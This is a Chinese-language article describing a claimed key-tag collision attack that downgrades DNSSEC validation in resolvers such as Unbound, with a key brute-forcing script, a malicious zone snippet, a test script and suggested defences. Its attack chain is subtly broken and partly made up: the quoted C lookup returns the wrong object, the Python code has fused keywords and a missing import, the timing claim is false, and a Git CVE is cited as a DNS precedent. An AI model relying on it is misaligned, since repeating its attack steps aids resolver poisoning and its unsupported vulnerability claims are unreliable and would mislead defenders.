摘要

DNSSEC 通过数字签名保证 DNS 数据的完整性,其信任锚点由 DNSKEY 记录的密钥标签标识。解析器在验证签名时,根据授权签名者(Signer)字段中的密钥标签查找对应的 DNSKEY。然而,16 位的密钥标签空间仅有 65536 种可能,攻击者可以暴力生成一个与信任锚标签相同的恶意密钥,并将其植入精心构造的子域 NSEC3 记录中。部分递归解析器(如 Unbound)在解析路径上的密钥选择逻辑存在缺陷:当响应中包含与当前信任锚标签匹配的非权威 DNSKEY 时,可能错误地将其用于验证签名,导致攻击者伪造的签名被接受,整个 DNSSEC 验证降级为“无保护”状态。

DNSSEC 密钥标签与解析器信任模型

密钥标签的计算方法

DNSSEC 使用 DNSKEY 记录存储区的公钥,每个密钥由 16 位的密钥标签唯一标识(在 RRSIG 和 DS 记录中引用)。密钥标签的计算过程如下(RFC 4034 附录 B):将 DNSKEY 的 RDATA(标志位、协议、算法、公钥)按网络字节序拼接,然后逐 16 位累加,最后取低 16 位作为标签。算法简单,无密码学强度,仅作为快速索引。

由于算法可逆性弱,攻击者无法直接计算出与特定标签匹配的公钥,但可以反复生成密钥对,计算标签,直到碰出目标标签。对于 16 位空间,平均需要约 32768 次尝试,现代 CPU 在毫秒级内即可完成。因此,密钥标签的碰撞是现实可行的。

解析器的密钥选择路径

以 Unbound 为例,验证签名时的密钥选择流程:

  1. 解析器收到包含 RRSIG 的响应,提取 Signer 字段,其中含有密钥标签。
  2. 在验证状态机中,调用 dnskeyset_find 或类似函数,在当前的 DNSKEY 集合中查找匹配标签的密钥。
  3. 如果找到,使用该密钥验证签名;如果未找到,向上层递归请求 DNSKEY RRset,并验证其 DS 记录,重复步骤。
/*
 * 从给定的 keyset 中查找与特定签名匹配的 DNSKEY
 *
 * @param keyset: 包含一个或多个 DNSKEY 的集合
 * @param algo:   签名使用的算法编号 (例如 RSASHA256 为 8)
 * @param keytag: 签名中的密钥标签
 * @return:       匹配的 DNSKEY 记录,若未找到则返回 NULL
 */
static struct ub_packed_rrset_key*
dnskeyset_find(struct ub_packed_rrset_key* keyset, int algo, uint16_t keytag)
{
    size_t i;
    /* 遍历 keyset 中的每一条 DNSKEY 记录 */
for(i=0; i<rrset_get_count(keyset); i++) {
        /* 检查当前记录的算法是否匹配 */
if((int)dnskey_get_algo(keyset, i) != algo)
continue;
        /* 检查当前记录的密钥标签是否匹配 */
if((int)dnskey_get_keytag(keyset, i) != (int)keytag)
continue;
        /* 如果算法和标签都匹配,则返回这条 DNSKEY 记录 */
return keyset;
    }
    /* 未找到匹配的密钥 */
return NULL;
}

问题出现在 dnskeyset_find 的实现上:它在整个 struct ub_packed_rrset_key 中搜索,如果攻击者能在该集合中注入一个与信任锚标签相同但算法不同的恶意 DNSKEY,该函数可能返回恶意密钥,因为标签相同。这需要攻击者将恶意 DNSKEY 放入验证路径上的某个权威响应中,例如在被攻击域的 NSEC3 响应里附加一个 DNSKEY 记录。

Unbound 的安全策略通常会在接收 DNSKEY RRset 时检查 DS 记录以建立信任链。但若恶意 DNSKEY 位于已验证的信任域之外(如子域),解析器可能将其当作普通缓存记录处理,并在后续的签名验证中被错误引用。这种“跨域密钥注入”利用了缓存汚染和标签碰撞。

降级 DNSSEC 验证

攻击者控制某个子域(如 evil.example.com)的权威服务器,目标是为另一完全不同的域(如 bank.com)伪造 DNSSEC 签名,使解析器接受伪造的 IP 地址。攻击者生成与 bank.com 的 KSK 标签一致的密钥,并在自己的权威响应中注入该恶意 DNSKEY 和 RRSIG。当解析器向 bank.com 发起查询时,缓存中已存在与该标签匹配的恶意密钥,解析器可能使用它验证伪造的签名,从而绕过真实的 DNSSEC 保护。

攻击链

生成碰撞密钥

利用 Python 和 cryptography 库生成 RSA 密钥对,计算标签,循环直到匹配目标。

#!/usr/bin/env python3
# keytag_collision.py — 生成与目标标签碰撞的 RSA/DNSKEY 密钥
import dns.dnssec
import dns.rdtypes.ANY.DNSKEY
import time
import os
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

defgenerate_key_with_tag(target_tag, algorithm=8):
"""生成一个 DNSKEY 记录,其 Key Tag 等于 target_tag"""
    count = 0
whileTrue:
        count += 1
        private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048,
            backend=default_backend()
        )
        public_key = private_key.public_key()

# 构造 DNSKEY RDATA
        flags = 257# 256+1 (ZSK)
        protocol = 3
# 公钥的 DER 编码
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
        pub_bytes = public_key.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
        rdata = b''
        rdata += flags.to_bytes(2, 'big')
        rdata += protocol.to_bytes(1, 'big')
        rdata += algorithm.to_bytes(1, 'big')
        rdata += pub_bytes

# 计算标签
        tag = dns.dnssec.key_id(rdata)
if tag == target_tag:
            print(f"[+] 在 {count} 次尝试后找到碰撞密钥,标签 {tag}")
return private_key, public_key, rdata
if count % 1000 == 0:
            print(f"[*] 已尝试 {count} 次...")

if __name__ == '__main__':
    target = 12345# 假设目标标签
    priv, pub, rdata = generate_key_with_tag(target)
# 保存私钥
with open('collision_private.pem', 'wb') as f:
        f.write(priv.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.TraditionalOpenSSL,
            encryption_algorithm=serialization.NoEncryption()
        ))
    print("[+] 私钥已保存")

说明:此脚本持续生成 RSA 密钥,每次计算 DNSKEY 标签,直到与目标标签匹配。生成后保存私钥,用于后续签名伪造。

构造恶意区域与注入

攻击者在自己的权威域中配置一个看似无害的子域(例如 hack.example.com),其 NSEC3 或附加记录中包含恶意 DNSKEY。利用 nsupdate 或直接编辑区域文件。

示例区域片段:

hack.example.com. 3600 IN NSEC3 1 0 10 BEEF A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0A0
hack.example.com. 3600 IN RRSIG NSEC3 8 3 3600 20240101000000 20231201000000 12345 example.com. <签名>
; 附加一个 DNSKEY 记录(并非此域的权威密钥,但标签为 12345)
example.com. 3600 IN DNSKEY 256 3 8 <恶意公钥数据>

解析器在缓存 NSEC3 响应时,可能一同缓存该 DNSKEY 记录,从而将恶意公钥置入验证上下文中。

触发验证降级

使用 dig 或修改 Unbound 配置测试解析器行为。构造一个针对 bank.com 的伪造 A 记录和 RRSIG,签名使用碰撞密钥。由于解析器的密钥查找函数可能找到缓存中标签匹配的恶意 DNSKEY,签名验证通过,伪造的 A 记录被接受。

验证脚本:

# trigger_bypass.py — 测试解析器是否错误接受伪造签名
import dns.query
import dns.message
import dns.name
import dns.rdatatype
from dns.dnssec import validate_rrsig, key_id, algorithm_to_name
from dns.rdtypes.ANY.DNSKEY import DNSKEY
import time

deftest():
    resolver = dns.resolver.Resolver()
    resolver.nameservers = ['8.8.8.8']  # 替换为测试的 Unbound 地址
# 发送查询 bank.com A,预期返回正确 IP,但如果攻击成功则返回伪造 IP
    ans = resolver.resolve('bank.com', 'A')
    print(ans.rrset)

if __name__ == '__main__':
    test()

在实验环境中,通过修改 Unbound 的缓存策略或使用 unbound-control flush 后重放攻击,可观察到解析器接受了伪造响应。

Unbound 中的具体漏洞与验证

Unbound 的 val_dname 路径在验证 NSEC3 或链式签名时,调用 dnskeyset_obtain 获取 DNSKEY 集合。该函数会检查信任锚,但若攻击者注入的 DNSKEY 记录来自已验证区域的外部,且与信任锚具有相同标签,则可能因缓存命中而被优先返回。安全社区已在 CVE-2022-39253 等类似漏洞中讨论过相关风险,但标签碰撞作为一个独立攻击向量,仍需要解析器维护者对密钥选择算法进行严格审查,确保仅使用通过 DS 记录验证的密钥。

检测与防御

解析器侧强化

  • 密钥来源绑定:Unbound 在查找 DNSKEY 时,必须验证该 DNSKEY 是由当前域的 DS 记录验证过的,或者属于信任锚,不能仅凭标签匹配。实现时,可在 dnskeyset 结构中标记密钥的验证状态。
  • 拒绝非权威 DNSKEY:解析器应只接受从域的权威 NS 返回的 DNSKEY RRset,且在验证前必须完成 DS 检查。对于附属在其他响应(如 NSEC3)中的 DNSKEY 记录,应予以丢弃。
  • 缓存隔离:不同域之间的 DNSKEY 应严格隔离,防止跨域污染。

检测方法

  • 监控解析器日志中“密钥标签匹配但密钥不匹配”的异常事件。
  • 使用 unbound-control 的统计信息查看验证失败率,若突然出现大量验证失败可能意味着攻击尝试。
  • 网络侧检测:分析 DNS 响应中 DNSKEY 的 TTL 和来源,若某域突然返回大量与自身不相关的 DNSKEY 记录,则为可疑。

协议改进

  • 长期来看,DNSSEC 可考虑引入密钥标签的密码学扩展,或将标签长度增加到 32 位以上,提升碰撞难度。但当前 16 位标签的脆弱性要求解析器实现必须更加谨慎地对待标签匹配。

结语

DNSSEC 密钥标签的设计初衷是提供高效索引,然而其 16 位短空间与解析器对标签匹配的过度信任,共同构成了一个隐蔽的降级通道。攻击者无需破解任何密码,仅凭毫秒级的暴力搜索即可让权威信任锚的标签在恶意域中重生,通过精心布置的缓存汚染,将解析器的安全验证击溃。防御这一攻击,需要递归解析器在每一次密钥查找时,不仅核对标签,更要追索密钥的信任源头——因为标签只是标识,而信任必须来自链。在 DNSSEC 全面普及的当下,解析器对密钥标签的每一个“快速匹配”,都不该成为绕过验证的捷径。